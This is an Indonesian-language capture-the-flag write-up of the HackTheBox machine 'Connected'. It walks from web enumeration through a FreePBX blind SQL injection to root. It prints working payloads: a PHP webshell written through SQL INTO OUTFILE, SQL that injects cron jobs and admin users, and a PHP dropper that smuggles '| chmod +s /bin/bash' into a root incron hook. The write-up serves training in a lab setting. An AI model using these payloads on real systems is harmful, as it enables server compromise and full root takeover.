Lewati ke isi

Connected — HackTheBox

Ringkasan

  • Mesin: Connected (HackTheBox)
  • OS: Linux (CentOS 7)
  • Layanan: Apache 2.4.6 + FreePBX (PHP 7.4), OpenSSH 7.4
  • Jalur serang: Enumerasi web, Blind SQLi (FreePBX Manager endpoint), webshell, lalu privilege escalation lewat hook incrond sampai root
  • Tingkat: Medium

1. Reconnaissance

Nmap

nmap -sCV 10.129.29.156 -D RND:10 --script=vuln

Output vulners sangat panjang, jadi dipangkas ke bagian pentingnya:

PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http      Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4)
443/tcp  open  ssl/https Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4)
| http-enum:
|   /robots.txt: Robots file
|_  /icons/: Potentially interesting folder w/ directory listing

Tiga port terbuka: SSH (22), HTTP (80), HTTPS (443). Web berjalan di Apache 2.4.6 / CentOS dengan PHP 7.4 — indikasi kuat instalasi FreePBX.

Directory enumeration (gobuster)

gobuster dir -u http://connected.htb/ \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
admin        (Status: 301) [--> http://connected.htb/admin]
index.php    (Status: 302) [--> /admin]
ucp          (Status: 301) [--> http://connected.htb/ucp]
robots.txt   (Status: 200)

Ditemukan panel /admin (FreePBX Administration) dan /ucp (User Control Panel).

robots.txt membocorkan keberadaan direktori GUI (/www/images/) dan menyetel Disallow: /:

robots.txt connected.htb

2. Analisis Kerentanan

Dari hasil scan, ada beberapa CVE dengan severity & attack vector yang serius. Difilter mana yang volatile dan berpotensi mengarah ke RCE / reverse shell:

  • CVE-2026-46376 — bypass login UCP (hardcode). Diuji, gagal mem-bypass login.
  • Blind SQLi pada FreePBX Manager endpoint (CVE-2025-61675) — berhasil. Inilah jalur foothold.

Catatan SQLi → webshell (buat next time)

Kalau dapat Blind SQLi tapi belum tahu path mana yang bisa ditulis webshell, cari clue dulu:

SELECT @@datadir;   -- mis. /var/lib/mysql/  → clue OS/distro
SELECT @@basedir;   -- mis. /usr/

Lalu teknik masuk shell:

-- 1) OUTFILE method
SELECT '<?php system($_GET["c"]); ?>'
INTO OUTFILE '/var/www/html/shell.php';

-- 2) Inject cron job (tidak selalu cocok tiap kasus)
INSERT INTO cron_jobs (command, schedule)
VALUES ('echo BASE64|base64 -d > /var/www/html/shell.php', '* * * * *');

-- 3) Inject admin user
INSERT INTO users (username, password, role)
VALUES ('hacker', 'hash', 'admin');

Lewat SQLi ini didapat webshell sebagai user asterisk (uid 999).

3. Privilege Escalation

Enumerasi awal

Mulai dari mencari SUID binary:

find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

Beberapa percobaan sempat mengarah ke crontab dan incrond. crontab selalu timeout (termasuk saat mencoba lateral movement lewat tty), jadi fokus dialihkan ke incrond.

Cek proses berjalan — incrond jalan sebagai root:

incrond berjalan sebagai root

Kenapa ini kunci

Kalau kita bisa memicu aksi incron yang dieksekusi oleh root, kita berpeluang naik ke root.

Enumerasi incron

ls /etc/incron.d/
# legacy  local  sysadmin

ls /etc/incron.d

Baca tiap konfigurasi satu per satu:

cat konfigurasi incron

Baris paling menarik (dari file sysadmin):

/var/spool/asterisk/incron  IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE  /usr/bin/sysadmin_manager $#

Artinya: setiap ada perubahan (MODIFY / ATTRIB / CLOSE_WRITE) pada file di /var/spool/asterisk/incron/, root menjalankan /usr/bin/sysadmin_manager dengan nama file sebagai argumen ($#).

User asterisk punya akses tulis ke direktorinya sendiri:

ls -la /var/spool/asterisk

Direktori pemicu (incron/) memang ada dan kosong — siap diisi:

ls -la incron dir

Membedah sysadmin_manager

cat /usr/bin/sysadmin_manager

Skrip PHP ini (FreePBX "Secure Sysadmin Hook Service") memvalidasi banyak hal: hash file includes.php, whitelist GPG key, signature module.sig, dan sanitasi karakter param — lalu di akhir menjalankan:

system("$hookfile $params");

potongan sysadmin_manager.php

Logika kunci penentuan target eksekusi:

if ($argv[1] == "--local") {
    $request  = $argv[2];
    $filename = "/usr/local/asterisk/incron/$request";
} else {
    $request  = $argv[1];
    $filename = "/var/spool/asterisk/incron/$request";
}
// ...
$sigfile  = "/var/www/html/admin/modules/$module/module.sig";
$hookfile = "/var/www/html/admin/modules/$module/hooks/$hook";
// ...
system("$hookfile $params");

Format request yang diterima: modulename_hookname, atau modulename.hookname.params. Jika param bernilai CONTENTS, isinya dibaca dari file pemicu (hingga 4 KB). Inilah celah untuk menyelipkan payload.

Daftar hook yang tersedia di modul sysadmin:

daftar hooks

Hash valid tiap hook ada di module.sig (hook hanya dijalankan kalau hash-nya cocok):

module.sig

Eksploitasi

Menjalankan perintah langsung di terminal kena sanitasi, jadi file pemicu dibuat lewat webshell (ingat: asterisk punya akses tulis di direktorinya). Pakai hook fail2ban-stop dengan trik param CONTENTS:

// Via webshell (exploit.php)
<?php
  $dir   = "/var/spool/asterisk/incron/";
  $fname = "sysadmin.fail2ban-stop.CONTENTS";
  file_put_contents($dir . $fname, "| chmod +s /bin/bash");
  echo "OK";
?>

Begitu file sysadmin.fail2ban-stop.CONTENTS dibuat, incrond (root) memicu sysadmin_manager, yang menjalankan hook fail2ban-stop dengan param dari isi file → efektifnya ... | chmod +s /bin/bash.

Percobaan langsung (tanpa konteks root) memang ditolak — Operation not permitted:

trigger exploit

…tetapi lewat jalur incron (dieksekusi root), SUID bit berhasil terpasang ke /bin/bash.

Root

Dengan /bin/bash ber-SUID root, jalankan bash dengan flag -p (preserve privileges):

bash -p -c 'id'
# uid=999(asterisk) gid=1000(asterisk) euid=0(root) egid=0(root) groups=0(root)...

bash -p -c 'cat /root/root.txt'

root flag

Root

euid=0(root) — akses root didapat. Karena yang ber-SUID adalah bash, setiap perintah root tetap diawali bash -p -c '...'.

Referensi